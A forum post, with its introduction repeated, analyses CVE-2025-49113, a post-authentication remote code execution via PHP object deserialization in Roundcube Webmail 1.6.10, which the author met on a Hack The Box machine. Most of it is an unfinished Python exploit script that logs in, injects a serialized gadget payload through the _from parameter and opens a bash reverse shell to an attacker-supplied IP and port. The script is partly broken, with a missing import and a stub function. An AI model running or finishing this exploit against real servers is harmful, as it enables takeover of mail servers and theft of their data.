08-01-2025, 02:36 PM
Analysis of CVE-2025-49113 – Post-Auth RCE in Roundcube via PHP Object Deserialization
While working on the Hack The Box machine Outbound, I encountered the vulnerability CVE-2025-49113, which affects Roundcube Webmail 1.6.10. This vulnerability allows a post-authentication remote code execution by abusing PHP object deserialization through the _from parameter in the URL.
The vulnerable code is located in
The _from parameter is used to define a session key. The function eventually calls under certain timing conditions, which leads to the critical function call:
This function deserializes session data using internally. If an attacker can place a serialized PHP object in the session and trigger a reload, it will be deserialized without proper validation.
Exploitation depends on identifying or introducing a gadget chain. In the Outbound machine, after authenticating, it was possible to exploit this flow and achieve remote code execution.
I’m currently developing a Python script to automate this exploitation process. It is still in progress but aims to reproduce the vulnerability and execute commands via crafted session data.
This vulnerability demonstrates the risks of insecure session handling and highlights how post-authentication bugs can still lead to full system compromise.
Automating this vulnerability would allow initial access to any server running a vulnerable version of Roundcube, making it a significant security risk. For those eager to experiment, there are already several working PHP scripts available online. Below is my current Python script, which is still under development. I'm struggling to get the reverse shell to work correctly, and I need to analyze HTTP traffic and compare it with working scripts. If anyone is interested in the topic, I would appreciate any help.
While working on the Hack The Box machine Outbound, I encountered the vulnerability CVE-2025-49113, which affects Roundcube Webmail 1.6.10. This vulnerability allows a post-authentication remote code execution by abusing PHP object deserialization through the _from parameter in the URL.
The vulnerable code is located in
program/actions/settings/upload.php
$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
$type = preg_replace('/(add|edit)-/', '', $from);
$type = str_replace('.', '-', $type);
if (!$err && !empty($attachment['status']) && empty($attachment['abort'])) {
$id = $attachment['id'];
unset($attachment['status'], $attachment['abort']);
$rcmail->session->append($type . '.files', $id, $attachment);
}
The _from parameter is used to define a session key. The
append()
reload()
session_decode($data);
This function deserializes session data using
unserialize()
Exploitation depends on identifying or introducing a gadget chain. In the Outbound machine, after authenticating, it was possible to exploit this flow and achieve remote code execution.
I’m currently developing a Python script to automate this exploitation process. It is still in progress but aims to reproduce the vulnerability and execute commands via crafted session data.
This vulnerability demonstrates the risks of insecure session handling and highlights how post-authentication bugs can still lead to full system compromise.
Automating this vulnerability would allow initial access to any server running a vulnerable version of Roundcube, making it a significant security risk. For those eager to experiment, there are already several working PHP scripts available online. Below is my current Python script, which is still under development. I'm struggling to get the reverse shell to work correctly, and I need to analyze HTTP traffic and compare it with working scripts. If anyone is interested in the topic, I would appreciate any help.
# Exploit script for CVE-2025-49113 - by Krypt3d4ng3l
import requests
import sys
from urllib.parse import urlparse
import argparse
import re
import base64
parser = argparse.ArgumentParser(description='Exploit script for CVE-2025-49113 by Krypt3d4ng3l')
parser.add_argument('-H', '--host', dest='target_url', required=True, help='Target URL to exploit')
parser.add_argument('-u', '--username', dest='username', required=True, help='Username for authentication')
parser.add_argument('-p', '--password', dest='password', required=True, help='Password for authentication')
parser.add_argument('-ip', '--ip-addr', dest='IP', required=True, help='ip from the attacker machine to do the reverse shell')
parser.add_argument('-port', '--port', dest='port', required=True, help='port from the attacker machine to listen to')
args = parser.parse_args()
def validate_url(target_url):
try:
result = urlparse(target_url)
if all([result.scheme, result.netloc]):
return True
else:
print("[-] Invalid URL format.")
return False
except Exception as e:
print(f"[!] Error validating URL: {e}")
return False
def fetch_token(session, target_url):
try:
response = session.get(target_url)
match = re.search(r'name="_token"\s+value="([^"]+)"', response.text)
if match:
return match.group(1)
else:
print("[-] _token not found.")
return None
except Exception as e:
print(f"[!] Error fetching _token: {e}")
return None
def authenticate(token, session, target_url, username, password):
login_url = f"{target_url}/?_task=login"
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
data = {
'_token': token,
'_task': 'login',
'_action': 'login',
'_timezone': 'UTC',
'url': '',
'_user': username,
'_pass': password,
}
try:
response = session.post(login_url, headers=headers, data=data, allow_redirects=True)
if response.status_code in [200, 302]:
print("[+] Authentication successful.")
return True
else:
print(f"[-] Authentication failed. Status code: {response.status_code}")
return False
except Exception as e:
print(f"[!] Error during authentication: {e}")
return False
def send_payload(session, target_url, IP, port):
rvshell = f"bash -c 'bash -i >& /dev/tcp/{IP}/{port} 0>&1'"
length = len(rvshell)
payload = f'O:16:"Crypt_GPG_Engine":3:{{s:8:"_process";b:0;s:8:"_gpgconf";s:{length}:"{rvshell}";s:8:"_homedir";s:0:"";}}'
print(f"[+] Using payload: {payload}")
params = {
'_from': f"edit-{payload}",
'_task': 'settings',
'_framed': '1',
'_remote': '1',
'_id': '1',
'_uploadid': '1',
'_unlock': '1',
'_action': 'upload'
}
malicious_filename = 'x|b:0;preferences_time|b:0;preferences|s:179:"a:3:{i:0;s:57:".png'
try:
with open('test.png', 'rb') as f:
file_data = f.read()
files = {
'_file[]': (malicious_filename, file_data, 'image/png')
}
response = session.post(target_url, params=params, files=files)
print(f"[+] Response Status Code: {response.status_code}")
print(response.text)
return response
except Exception as e:
print(f"[-] Error sending payload: {e}")
return None
def process_serialized(serialized):
pattern = re.compile(r'\bs:(\d+):"')
parts = []
last_index = 0
current_index = 0
while current_index < len(serialized):
match = pattern.search(serialized, current_index)
if not match:
break
start = match.start()
str_start = match.end()
length = int(match.group(1))
str_end = str_start + length
if serialized[str_end:str_end+2] != '";':
current_index = str_start
continue
string = serialized[str_start:str_end]
cleaned = ''.join(
f"\\{ord(char):02x}"
if not char.isprintable() or char in ['\\', '|', '.']
else char
for char in string
)
parts.append(serialized[last_index:start])
parts.append(f'S:{length}:"{cleaned}";')
last_index = str_end + 2
current_index = last_index
parts.append(serialized[last_index:])
return ''.join(parts)
def calc_payload(command):
cmd_str = f"{command};#"
serialized = (
'O:16:"Crypt_GPG_Engine":3:'
'{s:8:"_process";b:0;'
f's:8:"_gpgconf";s:{len(cmd_str)}:"{cmd_str}";'
's:8:"_homedir";s:0:"";}'
)
processed = process_serialized(serialized) + 'i:0;b:0;'
total_len = len(processed)
append = len(str(12 + total_len)) - 2
_from = '!";i:0;' + processed + '}";}}'
_file = f'x|b:0;preferences_time|b:0;preferences|s:{78 + total_len + append}:\\"a:3:i:0;s:{56 + append}:\\".png'
obfuscated_from = ''.join([c + chr(random.randint(48, 57)) for c in _from])
return obfuscated_from, _file
def execute_payload():
pass
def main():
if not validate_url(args.target_url):
print("[!] Exploit aborted due to invalid URL")
sys.exit(1)
session = requests.Session()
token = fetch_token(session, args.target_url)
if not token:
print("[!] Could not retrieve CSRF token. Aborting.")
sys.exit(1)
if authenticate(token, session, args.target_url, args.username, args.password):
send_payload(session, args.target_url, args.IP, args.port)
else:
print("[!] Exploit aborted due to failed login.")
if __name__ == '__main__':
main()